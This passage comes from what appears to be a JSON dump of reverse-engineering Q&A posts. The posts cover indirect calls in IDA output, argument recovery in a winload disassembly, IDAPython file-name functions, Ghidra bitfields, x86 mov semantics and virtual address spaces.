        "Body": "<p>Im trying to recognise where is my targeted function <code>int64 __fastcall sub_1400CE4F0(__int64 a1, const char *a2)</code>executed. When stepping through this function, after <code>return</code> it's redirecting me here:</p>\n<pre><code>if ( *(_QWORD *)(v9 + v8 + 8) || *(_QWORD *)(v9 + v8 + 16) )\n  (*(void (__fastcall **)(_QWORD, __int64))(v9 + v8 + 16))(*(_QWORD *)(v9 + v8 + 8), v4);\nif ( v5 == 0xFFFFFFF ) //Here..\n  v5 = *((_DWORD *)v2 + 9);\n</code></pre>\n<ol>\n<li>Where is this function executed? Am I in the right place?</li>\n<li>Is it hidden in those cast's? How can I understand them? (Maybe it's hidden in those casts?)</li>\n</ol>\n",
        "Title": "Cant recognise where is my targeted function executed",
        "Tags": "|ida|x86-64|game-hacking|",
        "Answer": "<p>You can see in the line:</p>\n<p><code>(*(void (__fastcall **)(_QWORD, __int64))(v9 + v8 + 16))(*(_QWORD *)(v9 + v8 + 8), v4);</code></p>\n<p>That you have an indirect function call - a function that is called by a value of a variable, and not by a direct address.</p>\n<p>Your function has the following signature:</p>\n<p><code>void your_func(QWORD, __int64)</code></p>\n<p>And the function itself comes from the <code>v9 + v8 + 16</code> variables.</p>\n<p>So <code>v9 + v8 + 8</code> is the first parameter of the function, and <code>v4</code> is the second parameter.</p>\n"
    },
    {
        "Id": "25761",
        "CreationDate": "2020-08-28T08:55:24.760",
        "Body": "<p>I have the following disassembly of winload!CmpFindNlsData function and I need to check the output parameters of this function.\nP.S.: <code>CmpFindNLSData(int a1&lt;eax&gt;, int a2, PUNICODE_STRING pAnsiFileName, PUNICODE_STRING pOemFileName, PUNICODE_STRING pustrDefaultLanguage, PUNICODE_STRING pustrOemHalFontName)</code> could be the declaration of this function. This is my first attempt at reverse engineering, could someone please guide through the steps I could take up to define the algorithm of this function.</p>\n<pre><code>winload!CmpFindNLSData:\n00893c10 8bff            mov     edi,edi\n00893c12 55              push    ebp\n00893c13 8bec            mov     ebp,esp\n00893c15 83ec40          sub     esp,40h\n00893c18 53              push    ebx\n00893c19 56              push    esi\n00893c1a 57              push    edi\n00893c1b 8d45e0          lea     eax,[ebp-20h]\n00893c1e 8bf1            mov     esi,ecx\n00893c20 50              push    eax\n00893c21 33db            xor     ebx,ebx\n00893c23 8975ec          mov     dword ptr [ebp-14h],esi\n00893c26 83cfff          or      edi,0FFFFFFFFh\n00893c29 895dcc          mov     dword ptr [ebp-34h],ebx\n00893c2c 52              push    edx\n00893c2d 56              push    esi\n00893c2e 897dc8          mov     dword ptr [ebp-38h],edi\n00893c31 897dd0          mov     dword ptr [ebp-30h],edi\n00893c34 895dd4          mov     dword ptr [ebp-2Ch],ebx\n00893c37 897de0          mov     dword ptr [ebp-20h],edi\n00893c3a 895de4          mov     dword ptr [ebp-1Ch],ebx\n00893c3d 897dc0          mov     dword ptr [ebp-40h],edi\n00893c40 895dc4          mov     dword ptr [ebp-3Ch],ebx\n00893c43 895de8          mov     dword ptr [ebp-18h],ebx\n00893c46 ff5604          call    dword ptr [esi+4]\n00893c49 85c0            test    eax,eax\n00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893c51 8d4df4          lea     ecx,[ebp-0Ch]\n00893c54 8bd0            mov     edx,eax\n00893c56 51              push    ecx\n00893c57 68b8208e00      push    offset winload!CmpControlString (008e20b8)\n00893c5c 8bce            mov     ecx,esi\n00893c5e e869510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)\n00893c63 8d45e0          lea     eax,[ebp-20h]\n00893c66 50              push    eax\n00893c67 56              push    esi\n00893c68 ff5608          call    dword ptr [esi+8]\n00893c6b 397df4          cmp     dword ptr [ebp-0Ch],edi\n00893c6e 0f843a010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893c74 8d45e0          lea     eax,[ebp-20h]\n00893c77 50              push    eax\n00893c78 ff75f4          push    dword ptr [ebp-0Ch]\n00893c7b 56              push    esi\n00893c7c ff5604          call    dword ptr [esi+4]\n00893c7f 85c0            test    eax,eax\n00893c81 0f8427010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893c87 8d4df4          lea     ecx,[ebp-0Ch]\n00893c8a 8bd0            mov     edx,eax\n00893c8c 51              push    ecx\n00893c8d 68f8208e00      push    offset winload!CmpNlsString (008e20f8)\n00893c92 8bce            mov     ecx,esi\n00893c94 e833510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)\n00893c99 8d45e0          lea     eax,[ebp-20h]\n00893c9c 50              push    eax\n00893c9d 56              push    esi\n00893c9e ff5608          call    dword ptr [esi+8]\n00893ca1 397df4          cmp     dword ptr [ebp-0Ch],edi\n00893ca4 0f8404010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893caa 8d45e0          lea     eax,[ebp-20h]\n00893cad 50              push    eax\n00893cae ff75f4          push    dword ptr [ebp-0Ch]\n00893cb1 56              push    esi\n00893cb2 ff5604          call    dword ptr [esi+4]\n00893cb5 85c0            test    eax,eax\n00893cb7 0f84f1000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893cbd 8d4df4          lea     ecx,[ebp-0Ch]\n00893cc0 8bd0            mov     edx,eax\n00893cc2 51              push    ecx\n00893cc3 6808218e00      push    offset winload!CmpCodePageString (008e2108)\n00893cc8 8bce            mov     ecx,esi\n00893cca e8fd500000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)\n00893ccf 8d45e0          lea     eax,[ebp-20h]\n00893cd2 50              push    eax\n00893cd3 56              push    esi\n00893cd4 ff5608          call    dword ptr [esi+8]\n00893cd7 397df4          cmp     dword ptr [ebp-0Ch],edi\n00893cda 0f84ce000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893ce0 8d45e0          lea     eax,[ebp-20h]\n00893ce3 50              push    eax\n00893ce4 ff75f4          push    dword ptr [ebp-0Ch]\n00893ce7 56              push    esi\n00893ce8 ff5604          call    dword ptr [esi+4]\n00893ceb 85c0            test    eax,eax\n00893ced 0f84bb000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893cf3 6870228e00      push    offset winload!CmpAcpString (008e2270)\n00893cf8 8bd0            mov     edx,eax\n00893cfa 8bce            mov     ecx,esi\n00893cfc e885330000      call    winload!CmpFindValueByName (00897086)\n00893d01 8bf8            mov     edi,eax\n00893d03 8d45e0          lea     eax,[ebp-20h]\n00893d06 50              push    eax\n00893d07 56              push    esi\n00893d08 ff5608          call    dword ptr [esi+8]\n00893d0b 83ffff          cmp     edi,0FFFFFFFFh\n00893d0e 0f849a000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893d14 8d45d0          lea     eax,[ebp-30h]\n00893d17 50              push    eax\n00893d18 57              push    edi\n00893d19 56              push    esi\n00893d1a ff5604          call    dword ptr [esi+4]\n00893d1d 85c0            test    eax,eax\n00893d1f 0f8489000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893d25 8d4dc8          lea     ecx,[ebp-38h]\n00893d28 8bd7            mov     edx,edi\n00893d2a 51              push    ecx\n00893d2b 8d4df8          lea     ecx,[ebp-8]\n00893d2e 51              push    ecx\n00893d2f 50              push    eax\n00893d30 8bce            mov     ecx,esi\n00893d32 e8c7340000      call    winload!CmpValueToData (008971fe)\n00893d37 8bf8            mov     edi,eax\n00893d39 8d45d0          lea     eax,[ebp-30h]\n00893d3c 50              push    eax\n00893d3d 56              push    esi\n00893d3e 897ddc          mov     dword ptr [ebp-24h],edi\n00893d41 ff5608          call    dword ptr [esi+8]\n00893d44 85ff            test    edi,edi\n00893d46 7466            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893d48 8b55f8          mov     edx,dword ptr [ebp-8]\n00893d4b 33c9            xor     ecx,ecx\n00893d4d 33c0            xor     eax,eax\n00893d4f 668955da        mov     word ptr [ebp-26h],dx\n00893d53 66894dd8        mov     word ptr [ebp-28h],cx\n00893d57 c745f002000000  mov     dword ptr [ebp-10h],2\n00893d5e 663bc2          cmp     ax,dx\n00893d61 731d            jae     winload!CmpFindNLSData+0x170 (00893d80)\n00893d63 8b75f0          mov     esi,dword ptr [ebp-10h]\n00893d66 0fb7c1          movzx   eax,cx\n00893d69 d1e8            shr     eax,1\n00893d6b 66391c47        cmp     word ptr [edi+eax*2],bx\n00893d6f 740c            je      winload!CmpFindNLSData+0x16d (00893d7d)\n00893d71 6603ce          add     cx,si\n00893d74 66894dd8        mov     word ptr [ebp-28h],cx\n00893d78 663bca          cmp     cx,dx\n00893d7b 72e9            jb      winload!CmpFindNLSData+0x156 (00893d66)\n00893d7d 8b75ec          mov     esi,dword ptr [ebp-14h]\n00893d80 8b5d08          mov     ebx,dword ptr [ebp+8]\n00893d83 6a36            push    36h\n00893d85 58              pop     eax\n00893d86 663907          cmp     word ptr [edi],ax\n00893d89 750c            jne     winload!CmpFindNLSData+0x187 (00893d97)\n00893d8b c745e801000000  mov     dword ptr [ebp-18h],1\n00893d92 e992000000      jmp     winload!CmpFindNLSData+0x219 (00893e29)\n00893d97 8d45e0          lea     eax,[ebp-20h]\n00893d9a 50              push    eax\n00893d9b ff75f4          push    dword ptr [ebp-0Ch]\n00893d9e 56              push    esi\n00893d9f ff5604          call    dword ptr [esi+4]\n00893da2 85c0            test    eax,eax\n00893da4 7513            jne     winload!CmpFindNLSData+0x1a9 (00893db9)\n00893da6 8d45c8          lea     eax,[ebp-38h]\n00893da9 50              push    eax\n00893daa 56              push    esi\n00893dab ff5608          call    dword ptr [esi+8]\n00893dae 32c0            xor     al,al\n00893db0 5f              pop     edi\n00893db1 5e              pop     esi\n00893db2 5b              pop     ebx\n00893db3 8be5            mov     esp,ebp\n00893db5 5d              pop     ebp\n00893db6 c20c00          ret     0Ch\n00893db9 8d4dd8          lea     ecx,[ebp-28h]\n00893dbc 8bd0            mov     edx,eax\n00893dbe 51              push    ecx\n00893dbf 8bce            mov     ecx,esi\n00893dc1 e8c0320000      call    winload!CmpFindValueByName (00897086)\n00893dc6 8bf8            mov     edi,eax\n00893dc8 8d45c8          lea     eax,[ebp-38h]\n00893dcb 50              push    eax\n00893dcc 56              push    esi\n00893dcd ff5608          call    dword ptr [esi+8]\n00893dd0 33c0            xor     eax,eax\n00893dd2 8945dc          mov     dword ptr [ebp-24h],eax\n00893dd5 8d45e0          lea     eax,[ebp-20h]\n00893dd8 50              push    eax\n00893dd9 56              push    esi\n00893dda ff5608          call    dword ptr [esi+8]\n00893ddd 83ffff          cmp     edi,0FFFFFFFFh\n00893de0 74cc            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893de2 8d45d0          lea     eax,[ebp-30h]\n00893de5 50              push    eax\n00893de6 57              push    edi\n00893de7 56              push    esi\n00893de8 ff5604          call    dword ptr [esi+4]\n00893deb 85c0            test    eax,eax\n00893ded 74bf            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893def 8d4dc0          lea     ecx,[ebp-40h]\n00893df2 8bd7            mov     edx,edi\n00893df4 51              push    ecx\n00893df5 8d4df8          lea     ecx,[ebp-8]\n00893df8 51              push    ecx\n00893df9 50              push    eax\n00893dfa 8bce            mov     ecx,esi\n00893dfc e8fd330000      call    winload!CmpValueToData (008971fe)\n00893e01 894304          mov     dword ptr [ebx+4],eax\n00893e04 85c0            test    eax,eax\n00893e06 7408            je      winload!CmpFindNLSData+0x200 (00893e10)\n00893e08 8d45c0          lea     eax,[ebp-40h]\n00893e0b 50              push    eax\n00893e0c 56              push    esi\n00893e0d ff5608          call    dword ptr [esi+8]\n00893e10 8d45d0          lea     eax,[ebp-30h]\n00893e13 50              push    eax\n00893e14 56              push    esi\n00893e15 ff5608          call    dword ptr [esi+8]\n00893e18 33c0            xor     eax,eax\n00893e1a 394304          cmp     dword ptr [ebx+4],eax\n00893e1d 748f            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e1f 8b45f8          mov     eax,dword ptr [ebp-8]\n00893e22 66894302        mov     word ptr [ebx+2],ax\n00893e26 668903          mov     word ptr [ebx],ax\n00893e29 8d45e0          lea     eax,[ebp-20h]\n00893e2c 50              push    eax\n00893e2d ff75f4          push    dword ptr [ebp-0Ch]\n00893e30 56              push    esi\n00893e31 ff5604          call    dword ptr [esi+4]\n00893e34 85c0            test    eax,eax\n00893e36 0f8472ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e3c 6848228e00      push    offset winload!CmpOemCpString (008e2248)\n00893e41 8bd0            mov     edx,eax\n00893e43 8bce            mov     ecx,esi\n00893e45 e83c320000      call    winload!CmpFindValueByName (00897086)\n00893e4a 8bf8            mov     edi,eax\n00893e4c 8d45e0          lea     eax,[ebp-20h]\n00893e4f 50              push    eax\n00893e50 56              push    esi\n00893e51 ff5608          call    dword ptr [esi+8]\n00893e54 83ffff          cmp     edi,0FFFFFFFFh\n00893e57 0f8451ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e5d 8d45d0          lea     eax,[ebp-30h]\n00893e60 50              push    eax\n00893e61 57              push    edi\n00893e62 56              push    esi\n00893e63 ff5604          call    dword ptr [esi+4]\n00893e66 85c0            test    eax,eax\n00893e68 0f8440ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e6e 8d4dc8          lea     ecx,[ebp-38h]\n00893e71 8bd7            mov     edx,edi\n00893e73 51              push    ecx\n00893e74 8d4df8          lea     ecx,[ebp-8]\n00893e77 51              push    ecx\n00893e78 50              push    eax\n00893e79 8bce            mov     ecx,esi\n00893e7b e87e330000      call    winload!CmpValueToData (008971fe)\n00893e80 8bf8            mov     edi,eax\n00893e82 8d45d0          lea     eax,[ebp-30h]\n00893e85 50              push    eax\n00893e86 56              push    esi\n00893e87 897ddc          mov     dword ptr [ebp-24h],edi\n00893e8a ff5608          call    dword ptr [esi+8]\n00893e8d 85ff            test    edi,edi\n00893e8f 0f8419ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e95 8b55f8          mov     edx,dword ptr [ebp-8]\n00893e98 33c9            xor     ecx,ecx\n00893e9a 33c0            xor     eax,eax\n00893e9c 668955da        mov     word ptr [ebp-26h],dx\n00893ea0 66894dd8        mov     word ptr [ebp-28h],cx\n00893ea4 663bc2          cmp     ax,dx\n00893ea7 7322            jae     winload!CmpFindNLSData+0x2bb (00893ecb)\n00893ea9 8b75f0          mov     esi,dword ptr [ebp-10h]\n00893eac 33db            xor     ebx,ebx\n00893eae 0fb7c1          movzx   eax,cx\n00893eb1 d1e8            shr     eax,1\n00893eb3 66391c47        cmp     word ptr [edi+eax*2],bx\n00893eb7 740c            je      winload!CmpFindNLSData+0x2b5 (00893ec5)\n00893eb9 6603ce          add     cx,si\n00893ebc 66894dd8        mov     word ptr [ebp-28h],cx\n00893ec0 663bca          cmp     cx,dx\n00893ec3 72e9            jb      winload!CmpFindNLSData+0x29e (00893eae)\n00893ec5 8b75ec          mov     esi,dword ptr [ebp-14h]\n00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]\n00893ecb 6a36            push    36h\n00893ecd 58              pop     eax\n00893ece 663907          cmp     word ptr [edi],ax\n00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch]\n00893ed4 0f8496000000    je      winload!CmpFindNLSData+0x360 (00893f70)\n00893eda 8d45e0          lea     eax,[ebp-20h]\n00893edd 50              push    eax\n00893ede ff75f4          push    dword ptr [ebp-0Ch]\n00893ee1 56              push    esi\n00893ee2 ff5604          call    dword ptr [esi+4]\n00893ee5 85c0            test    eax,eax\n00893ee7 0f84b9feffff    je      winload!CmpFindNLSData+0x196 (00893da6)\n00893eed 8d4dd8          lea     ecx,[ebp-28h]\n00893ef0 8bd0            mov     edx,eax\n00893ef2 51              push    ecx\n00893ef3 8bce            mov     ecx,esi\n00893ef5 e88c310000      call    winload!CmpFindValueByName (00897086)\n00893efa 894508          mov     dword ptr [ebp+8],eax\n00893efd 8d45c8          lea     eax,[ebp-38h]\n00893f00 50              push    eax\n00893f01 56              push    esi\n00893f02 ff5608          call    dword ptr [esi+8]\n00893f05 8d45e0          lea     eax,[ebp-20h]\n00893f08 50              push    eax\n00893f09 56              push    esi\n00893f0a ff5608          call    dword ptr [esi+8]\n00893f0d 8b4508          mov     eax,dword ptr [ebp+8]\n00893f10 83f8ff          cmp     eax,0FFFFFFFFh\n00893f13 0f8495feffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893f19 8d4dd0          lea     ecx,[ebp-30h]\n00893f1c 51              push    ecx\n00893f1d 50              push    eax\n00893f1e 56              push    esi\n00893f1f ff5604          call    dword ptr [esi+4]\n00893f22 85c0            test    eax,eax\n00893f24 0f8484feffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893f2a 8b5508          mov     edx,dword ptr [ebp+8]\n00893f2d 8d4dc0          lea     ecx,[ebp-40h]\n00893f30 51              push    ecx\n00893f31 8d4df8          lea     ecx,[ebp-8]\n00893f34 51              push    ecx\n00893f35 50              push    eax\n00893f36 8bce            mov     ecx,esi\n00893f38 e8c1320000      call    winload!CmpValueToData (008971fe)\n00893f3d 894704          mov     dword ptr [edi+4],eax\n00893f40 85c0            test    eax,eax\n00893f42 7408            je      winload!CmpFindNLSData+0x33c (00893f4c)\n00893f44 8d45c0          lea     eax,[ebp-40h]\n00893f47 50              push    eax\n00893f48 56              push    esi\n00893f49 ff5608          call    dword ptr [esi+8]\n00893f4c 8d45d0          lea     eax,[ebp-30h]\n00893f4f 50              push    eax\n00893f50 56              push    esi\n00893f51 ff5608          call    dword ptr [esi+8]\n00893f54 33c9            xor     ecx,ecx\n00893f56 394f04          cmp     dword ptr [edi+4],ecx\n00893f59 0f844ffeffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893f5f 8b45f8          mov     eax,dword ptr [ebp-8]\n00893f62 66894702        mov     word ptr [edi+2],ax\n00893f66 668907          mov     word ptr [edi],ax\n00893f69 394de8          cmp     dword ptr [ebp-18h],ecx\n00893f6c 7412            je      winload!CmpFindNLSData+0x370 (00893f80)\n00893f6e eb02            jmp     winload!CmpFindNLSData+0x362 (00893f72)\n00893f70 33c9            xor     ecx,ecx\n00893f72 33c0            xor     eax,eax\n00893f74 894b04          mov     dword ptr [ebx+4],ecx\n00893f77 668903          mov     word ptr [ebx],ax\n00893f7a 894f04          mov     dword ptr [edi+4],ecx\n00893f7d 668907          mov     word ptr [edi],ax\n00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]\n00893f83 b001            mov     al,1\n00893f85 6a14            push    14h\n00893f87 5a              pop     edx\n00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)\n00893f8f 66895102        mov     word ptr [ecx+2],dx\n00893f93 668911          mov     word ptr [ecx],dx\n00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0)\n00893f9b cc              int     3\n</code></pre>\n",
        "Title": "How to track output parameters in disassembly?",
        "Tags": "|disassembly|windows|functions|calling-conventions|",
        "Answer": "<p>The function's Disassembly Does Not Match the prototype<br />\nThis function takes only 3 arguments which can be ascertained with the first/multiple failure Exits</p>\n<pre><code>if(!foo) { return false;}\n00893c49 85c0            test    eax,eax  &lt;&lt;&lt;&lt; if(!foo)\n00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)  \n|  \n00893dae 32c0            xor     al,al &lt;&lt;&lt;&lt;&lt;&lt;&lt;    bool False\n00893db0 5f              pop     edi  \n00893db1 5e              pop     esi  \n00893db2 5b              pop     ebx  \n00893db3 8be5            mov     esp,ebp  \n00893db5 5d              pop     ebp  \n00893db6 c20c00          ret     0Ch  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; pops 3 arguments\n</code></pre>\n<p>we can also confirm the arguments Access in x86 by looking   for ebp+ patterns (beware FPO )</p>\n<p>copy pasting the disassembly from your query and grepping for ebp+8<br />\nyields only access to (ebp + [0x8,0xc,0x10]) so this function definitely takes only 3 arguments or 5 if this is _fastcall (ecx,edx)</p>\n<pre><code>:\\&gt;wc -l nlsdatadis.txt\n350 nlsdatadis.txt\n\n:\\&gt;grep ebp+ nlsdatadis.txt\n00893d80 8b5d08          mov     ebx,dword ptr [ebp+8] &lt;&lt;&lt;\n00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]\n00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch] &lt;&lt;&lt;\n00893efa 894508          mov     dword ptr [ebp+8],eax\n00893f0d 8b4508          mov     eax,dword ptr [ebp+8]\n00893f2a 8b5508          mov     edx,dword ptr [ebp+8]\n00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h] &lt;&lt;&lt;&lt;\n</code></pre>\n<p>we can infer that the last/3rd argument is a PUNICODE_STRING by looking at the Disassembly that Accesses [ebp+10]</p>\n<pre><code>00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]\n00893f83 b001            mov     al,1   &lt;&lt;&lt;&lt;&lt;&lt;&lt; bool TRUE\n00893f85 6a14            push    14h    &lt;&lt;&lt;&lt; str length\n00893f87 5a              pop     edx\n00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)   \n&lt;&lt;&lt; pointer to Buffer\n00893f8f 66895102        mov     word ptr [ecx+2],dx  &lt;&lt; (max len)\n00893f93 668911          mov     word ptr [ecx],dx    &lt;&lt; (len)     \n00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0) &lt;&lt; again    \njumps to Exit that is described above with True as Return)\n</code></pre>\n<p>2nd Argument is also PUNICODE_STRING (ebp+0c,edi)\nist Argument is Some function pointer or the this call convention's this</p>\n<p>as ebp+8 is modified several times by mov</p>\n"
    },
    {
        "Id": "25769",
        "CreationDate": "2020-08-29T09:23:10.997",
        "Body": "<p>I am running my IDA script on many files (batching), and i need to get the file name the script is running on within the script. the problem is i cannot find any API that does that.</p>\n<p>the closest things i found was GetIdbDir(), which doesn't include the file name, also there seems to be a get_path function in ida_loader, but it expects a c type pointer, when i gave it a python string it failed.</p>\n",
        "Title": "Get current file name with IDApython",
        "Tags": "|ida|idapython|idapro-sdk|ida-plugin|",
        "Answer": "<p>There are three functions exposed by <code>ida_nalt</code> and two of those aliased from <code>idc</code> module.</p>\n<ul>\n<li><code>idc.get_root_filename</code> = <code>ida_nalt.get_root_filename</code><br />\nReturns the file name only (no leading path elements; <a href=\"https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml\" rel=\"nofollow noreferrer\">old name <code>idc.GetInputFile</code></a>)</li>\n<li><code>idc.get_input_file_path</code> = <code>ida_nalt.get_input_file_path</code>\nReturns the full file path (<a href=\"https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml\" rel=\"nofollow noreferrer\">old name <code>idc.GetInputFilePath</code></a>)\nida_nalt.get_input_file_path</li>\n<li>and separately <code>ida_nalt.dbg_get_input_path</code></li>\n</ul>\n<p>All of them return a <code>str</code> and take no arguments.</p>\n<p>PS: didn't want to butcher the original answer.</p>\n"
    },
    {
        "Id": "25775",
        "CreationDate": "2020-08-29T12:05:40.520",
        "Body": "<p>Suppose we have the following C source:</p>\n<pre><code>typedef struct {\n  int bit0 : 1;\n  int bit1 : 1;\n  int bit2 : 1;\n  int bit3 : 1;\n} bit_struct;\n\nbit_struct a;\n\nvoid setBit3()\n{\n  a.bit3 = 1;\n}\n</code></pre>\n<p>When we compile it and open the result in Ghidra, the decompilation window shows</p>\n<pre><code>void setBit3(void)\n{\n  a = a | 8;\n  return;\n}\n</code></pre>\n<p>If we give Ghidra the declaration of <code>bit_struct</code> (using <code>File</code> -&gt; <code>Parse C Source</code>), and then go to the location of <code>a</code> and set its data type to <code>bit_struct</code>, the decompilation changes to</p>\n<pre><code>a = (bit_struct)((byte)a | 8);\n</code></pre>\n<p>which still doesn't access <code>bit3</code> by declared name.</p>\n<p>How can we make Ghidra properly decompile it?</p>\n",
        "Title": "How to make Ghidra recognize bit fields?",
        "Tags": "|decompilation|ghidra|",
        "Answer": "<p>Looks like full bitfield support for the decompiler is slated for a future release according to a comment on Ghidra's github issues: <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/1059#issuecomment-534651905\" rel=\"nofollow noreferrer\">Bitfields don't seem to decompile very well #1059</a></p>\n"
    },
    {
        "Id": "25778",
        "CreationDate": "2020-08-29T17:49:18.133",
        "Body": "<p>The following is the code snippet (shown partially) I have:</p>\n<pre><code>q = strrchr(resolved, '/');     /* given /home/misha/docs.txt, q now pts to the last slash */\n    if (q != NULL) {\n      p = q + 1;                   /* p points to docs.txt */\n\n      if (q == resolved)\n        q = &quot;/&quot;;\n      else {\n        do {\n          --q;\n        } while (q &gt; resolved &amp;&amp; *q == '/');\n</code></pre>\n<p>The generated output with -S flag using objdump:</p>\n<pre><code>401789:       e8 7a fb ff ff          call   401308 &lt;strrchr&gt;\n  40178e:       48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax\n    if (q != NULL) {\n  401792:       48 83 7d d0 00          cmp    QWORD PTR [rbp-0x30],0x0\n  401797:       0f 84 12 01 00 00       je     4018af &lt;fb_realpath+0x22d&gt;\n      p = q + 1;                   /* p points to docs.txt */\n  40179d:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]\n  4017a1:       48 83 c0 01             add    rax,0x1\n  4017a5:       48 89 45 d8             mov    QWORD PTR [rbp-0x28],rax\n\n      if (q == resolved)\n  4017a9:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]\n  4017ad:       48 3b 85 e0 fe ff ff    cmp    rax,QWORD PTR [rbp-0x120]\n  4017b4:       75 0a                   jne    4017c0 &lt;fb_realpath+0x13e&gt;\n        q = &quot;/&quot;;\n  4017b6:       48 c7 45 d0 c5 20 40    mov    QWORD PTR [rbp-0x30],0x4020c5\n  4017bd:       00\n  4017be:       eb 33                   jmp    4017f3 &lt;fb_realpath+0x171&gt;\n      else {\n        do {\n          --q;\n  4017c0:       48 83 6d d0 01          sub    QWORD PTR [rbp-0x30],0x1\n        } while (q &gt; resolved &amp;&amp; *q == '/');\n  4017c5:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]\n  4017c9:       48 3b 85 e0 fe ff ff    cmp    rax,QWORD PTR [rbp-0x120]\n  4017d0:       76 0b                   jbe    4017dd &lt;fb_realpath+0x15b&gt;\n  4017d2:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]\n  4017d6:       0f b6 00                movzx  eax,BYTE PTR [rax]\n  4017d9:       3c 2f                   cmp    al,0x2f\n  4017db:       74 e3                   je     4017c0 &lt;fb_realpath+0x13e&gt;\n</code></pre>\n<p>Now, I have a question about <code>q = &quot;/&quot;;</code> instruction. <code>q</code> is defined as a <code>char*</code> and as seen from this examples, it contains a value returned by <code>strrchr</code> fucntion. Then it is assigned to a string - <code>q = &quot;/&quot;;</code> further in the code. Now, the instruction which represents that in assembly is - <code>mov QWORD PTR [rbp-0x30],0x4020c5</code>. I have very hard time understanding this instruction. Now, my understanding is that, it supposed to move the string &quot;/&quot; to the location pointed by <code>q</code>. But how does it know the location pointed by <code>q</code>? i.e. <code>rbp-0x30</code> is a location on the stack where <code>q</code> is stored. And this location is supposed to contain the address of the object where <code>q</code> is pointing. But, I interpret <code>mov QWORD PTR [rbp-0x30],0x4020c5</code> as move string <code>0x4020c5</code> to <code>rbp-0x30</code> i.e. the address of <code>q</code>. That is where I am confused as that location is supposed to contain the address and not the string.</p>\n<p>Thanks for reading and your help is appreciated.</p>\n",
        "Title": "how to does this instruction work: `mov qword ptr [rbp-0x30], 0x4020c5`",
        "Tags": "|assembly|x86|x86-64|",
        "Answer": "<p>you can add some print address of variable debug aid in your source to get a grip of these addresses</p>\n<p>see the disassembly of line no 5 in the paste below</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nint main (void) {\n    char * q;\n    q = &quot;/&quot;;\n    printf(&quot;%p\\n&quot;,&amp;q);\n}\n</code></pre>\n<p>disassembly</p>\n<pre><code>slashaddr!main:\n    3 01141000 55              push    ebp\n    3 01141001 8bec            mov     ebp,esp\n    3 01141003 51              push    ecx\n    5 01141004 c745fc90011801  mov     dword ptr [ebp-4], (01180190)\n</code></pre>\n"
    },
    {
        "Id": "25811",
        "CreationDate": "2020-09-04T10:46:09.093",
        "Body": "<p>when following certain youtube tutorials, the address in memory for the instructions are same in my machine and the youtuber's machine. How is that possible? Are instructions provided with memory address during compilation? If so then, there are only limited numbers of memory addresses in a machine, if 2 compiled programs are given the same address, what happens then?</p>\n",
        "Title": "are address for instructions specified during compilation?",
        "Tags": "|disassembly|debugging|",
        "Answer": "<p>That's how the concept of virtual address space works. Every process has their own address space which can be addressed. Thanks to this you can't directly read from/write to memory of another process.</p>\n<p>You can specify the address where the process base module will be mapped into process memory during compilation/linking process, for example for MSVC linker it is /BASE command. Usually if ASLR (Address Space Layout Randomization) is disabled, the base address is 0x400000 for 32 bit images and 0x140000000 for 64 bit images.</p>\n<p>When you, for example, want to read a value at particular address in your process, kernel maps address from the virtual address space into a physical address (for example, to the address where the value is physically onto your RAM stick). Thanks to this two independent processes can have different values at the same address (in their own address spaces).</p>\n<p>For example if you evaluate <code>*(int*)(0x600000)</code> in program A it can return <code>5</code>, but the same operation can return <code>6</code> in program B .</p>\n<blockquote>\n<p>The virtual address space for a process is the set of virtual memory addresses that it can use. The address space for each process is private and cannot be accessed by other processes unless it is shared.</p>\n<p>A virtual address does not represent the actual physical location of\nan object in memory; instead, the system maintains a page table for\neach process, which is an internal data structure used to translate\nvirtual addresses into their corresponding physical addresses. Each\ntime a thread references an address, the system translates the virtual\naddress to a physical address.</p>\n</blockquote>\n<p>Source: <a href=\"https://docs.microsoft.com/en-us/windows/win32/memory/virtual-address-space\" rel=\"nofollow 